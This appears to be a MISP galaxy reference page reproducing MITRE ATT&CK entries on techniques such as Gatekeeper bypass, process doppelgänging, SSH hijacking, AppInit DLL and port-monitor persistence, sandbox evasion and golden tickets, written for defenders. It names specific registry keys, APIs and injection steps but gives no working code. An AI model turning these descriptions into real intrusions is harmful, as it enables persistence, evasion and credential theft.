Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple’s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )
Based on an opt-in system, when files are downloaded an extended attribute (xattr) called com.apple.quarantine (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:
-
Checks extended attribute – Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)
-
Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.
-
Code Signing – Gatekeeper checks for a valid code signature from an Apple Developer ID.
-
Notarization - Using the
api.apple-cloudkit.comAPI, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.
Adversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. Exploitation for Defense Evasion), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)
Applications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using Drive-by Compromise.
Internal MISP references
UUID 31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e which can be used as unique global reference for Gatekeeper Bypass - T1553.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1553/001 - webarchive
- https://eclecticlight.co/2020/08/28/how-notarization-works/ - webarchive
- https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/ - webarchive
- https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ - webarchive
- https://redcanary.com/blog/mac-application-bundles/ - webarchive
- https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/ - webarchive
- https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1553.001 |
| kill_chain | ['attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Process Doppelgänging - T1055.013
Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):
- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
- Load – Create a shared section of memory and load the malicious executable.
- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.
This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID 7007935a-a8a7-4c0b-bd98-4e85be8ed197 which can be used as unique global reference for Process Doppelgänging - T1055.013 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1055/013 - webarchive
- https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/ - webarchive
- https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx - webarchive
- https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx - webarchive
- https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.013 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['File: File Metadata', 'Process: OS API Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
SSH Hijacking - T1563.001
Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.
In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)
SSH Hijacking differs from use of SSH because it hijacks an existing SSH session rather than creating a new session using Valid Accounts.
Internal MISP references
UUID 4d2a5b3e-340d-4600-9123-309dd63c9bf8 which can be used as unique global reference for SSH Hijacking - T1563.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1563/001 - webarchive
- https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident - webarchive
- https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf - webarchive
- https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking - webarchive
- https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1563.001 |
| kill_chain | ['attack-Linux:lateral-movement', 'attack-macOS:lateral-movement'] |
| mitre_data_sources | ['Command: Command Execution', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
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URI Hijacking - T1635.001
Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.
Applications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If an adversary were to register for a URI that was already in use by a genuine application, the adversary may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the adversary to gain access to protected resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)
Internal MISP references
UUID 789ef15a-34d9-4b32-a779-8cbbc9eb32f5 which can be used as unique global reference for URI Hijacking - T1635.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1635/001 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/ - webarchive
- https://developer.android.com/training/app-links/index.html - webarchive
- https://tools.ietf.org/html/rfc7636 - webarchive
- https://tools.ietf.org/html/rfc8252 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1635.001 |
| kill_chain | ['mobile-attack-Android:credential-access', 'mobile-attack-iOS:credential-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
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Symmetric Cryptography - T1573.001
Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.
Internal MISP references
UUID 24bfaeba-cb0d-4525-b3dc-507c77ecec41 which can be used as unique global reference for Symmetric Cryptography - T1573.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1573.001 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-Windows:command-and-control', 'attack-macOS:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS', 'Network'] |
Related clusters
To see the related clusters, click here.
Outlook Rules - T1137.005
Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)
Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)
Internal MISP references
UUID 3d1b9d7e-3921-4d25-845a-7d9f15c0da44 which can be used as unique global reference for Outlook Rules - T1137.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1137/005 - webarchive
- https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/ - webarchive
- https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack - webarchive
- https://github.com/sensepost/notruler - webarchive
- https://silentbreaksecurity.com/malicious-outlook-rules/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1137.005 |
| kill_chain | ['attack-Windows:persistence', 'attack-Office-365:persistence'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Office 365'] |
Related clusters
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Social Media - T1593.001
Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.
Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).
Internal MISP references
UUID bbe5b322-e2af-4a5e-9625-a4e62bf84ed3 which can be used as unique global reference for Social Media - T1593.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1593.001 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
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Calendar Entries - T1636.001
Adversaries may utilize standard operating system APIs to gather calendar entry data. On Android, this can be accomplished using the Calendar Content Provider. On iOS, this can be accomplished using the EventKit framework.
If the device has been jailbroken or rooted, an adversary may be able to access Calendar Entries without the user’s knowledge or approval.
Internal MISP references
UUID a9fa0d30-a8ff-45bf-922e-7720da0b7922 which can be used as unique global reference for Calendar Entries - T1636.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1636.001 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
VDSO Hijacking - T1055.014
Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.
VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via Ptrace System Calls. However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID 98be40f2-c86b-4ade-b6fc-4964932040e5 which can be used as unique global reference for VDSO Hijacking - T1055.014 in MISP communities and other software using the MISP galaxy
External references
- http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html - webarchive
- https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing - webarchive
- https://attack.mitre.org/techniques/T1055/014 - webarchive
- https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/ - webarchive
- https://lwn.net/Articles/604515/ - webarchive
- https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/ - webarchive
- https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html - webarchive
- https://www.gnu.org/software/acct/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.014 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-Linux:privilege-escalation'] |
| mitre_data_sources | ['Module: Module Load', 'Process: OS API Execution'] |
| mitre_platforms | ['Linux'] |
Related clusters
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AppInit DLLs - T1546.010
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)
Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)
Internal MISP references
UUID cc89ecbd-3d33-4a41-bcca-001e702d18fd which can be used as unique global reference for AppInit DLLs - T1546.010 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1546/010 - webarchive
- https://msdn.microsoft.com/en-us/library/dn280412 - webarchive
- https://support.microsoft.com/en-us/kb/197571 - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.010 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Port Monitors - T1547.010
Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded and run by the print spooler service, spoolsv.exe, under SYSTEM level permissions on boot.(Citation: Bloxham)
Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the Driver value of an existing or new arbitrarily named subkey of HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors. The Registry key contains entries for the following:
- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port
Internal MISP references
UUID 43881e51-ac74-445b-b4c6-f9f9e9bf23fe which can be used as unique global reference for Port Monitors - T1547.010 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/dd183341 - webarchive
- https://attack.mitre.org/techniques/T1547/010 - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.010 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['File: File Creation', 'Module: Module Load', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Identify Roles - T1591.004
Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.
Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).
Internal MISP references
UUID cc723aff-ec88-40e3-a224-5af9fd983cc4 which can be used as unique global reference for Identify Roles - T1591.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1591.004 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
System Checks - T1497.001
Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.
Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use File and Directory Discovery to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as malware, sample, or hash.
Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.
Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)
Internal MISP references
UUID 29be378d-262d-4e99-b00d-852d573628e6 which can be used as unique global reference for System Checks - T1497.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1497/001 - webarchive
- https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc - webarchive
- https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/ - webarchive
- https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1497.001 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Golden Ticket - T1558.001
Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection)
Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)
The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using OS Credential Dumping and privileged access to a domain controller.
Internal MISP references
UUID 768dce68-8d0d-477a-b01d-0eea98b963a1 which can be used as unique global reference for Golden Ticket - T1558.001 in MISP communities and other software using the MISP galaxy
External references
- https://adsecurity.org/?p=1515 - webarchive
- https://adsecurity.org/?p=1640 - webarchive
- https://adsecurity.org/?p=483 - webarchive
- https://attack.mitre.org/techniques/T1558/001 - webarchive
- https://blog.stealthbits.com/detect-pass-the-ticket-attacks - webarchive
- https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf - webarchive
- https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1558.001 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Spearphishing Attachment - T1566.001
Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
Internal MISP references
UUID 2e34237d-8574-43f6-aace-ae2915de8597 which can be used as unique global reference for Spearphishing Attachment - T1566.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1566/001 - webarchive
- https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide - webarchive
- https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/ - webarchive
- https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf - webarchive
- https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1566.001 |
| kill_chain | ['attack-macOS:initial-access', 'attack-Windows:initial-access', 'attack-Linux:initial-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['macOS', 'Windows', 'Linux'] |
Related clusters
To see the related clusters, click here.
Create Snapshot - T1578.001
An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in Revert Cloud Instance where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.
An adversary may Create Cloud Instance, mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)
Internal MISP references
UUID ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1 which can be used as unique global reference for Create Snapshot - T1578.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1578/001 - webarchive
- https://cloud.google.com/compute/docs/instances/create-start-instance#api_2 - webarchive
- https://cloud.google.com/logging/docs/audit#admin-activity - webarchive
- https://content.fireeye.com/m-trends/rpt-m-trends-2020 - webarchive
- https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html - webarchive
- https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1578.001 |
| kill_chain | ['attack-IaaS:defense-evasion'] |
| mitre_data_sources | ['Snapshot: Snapshot Creation', 'Snapshot: Snapshot Metadata'] |
| mitre_platforms | ['IaaS'] |
Related clusters
To see the related clusters, click here.
Spearphishing Service - T1598.001
Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.
Internal MISP references
UUID f870408c-b1cd-49c7-a5c7-0ef0fc496cc6 which can be used as unique global reference for Spearphishing Service - T1598.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1598.001 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Component Firmware - T1542.002
Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components/devices that may not have the same capability or level of integrity checking.
Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
Internal MISP references
UUID 791481f8-e96a-41be-b089-a088763083d4 which can be used as unique global reference for Component Firmware - T1542.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1542.002 |
| kill_chain | ['attack-Windows:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Driver: Driver Metadata', 'Firmware: Firmware Modification', 'Process: OS API Execution'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
User Evasion - T1628.002
Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device.
While there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.
Internal MISP references
UUID 24a77e53-0751-46fc-b207-99378fb35c08 which can be used as unique global reference for User Evasion - T1628.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1628.002 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Device Lockout - T1629.002
An adversary may seek to inhibit user interaction by locking the legitimate user out of the device. This is typically accomplished by requesting device administrator permissions and then locking the screen using DevicePolicyManager.lockNow(). Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.(Citation: Microsoft MalLockerB)(Citation: Talos GPlayed)(Citation: securelist rotexy 2018)
Prior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device. The release of Android 7 introduced updates that only allow device or profile owners (e.g. MDMs) to reset the device’s passcode.(Citation: Android resetPassword)
Internal MISP references
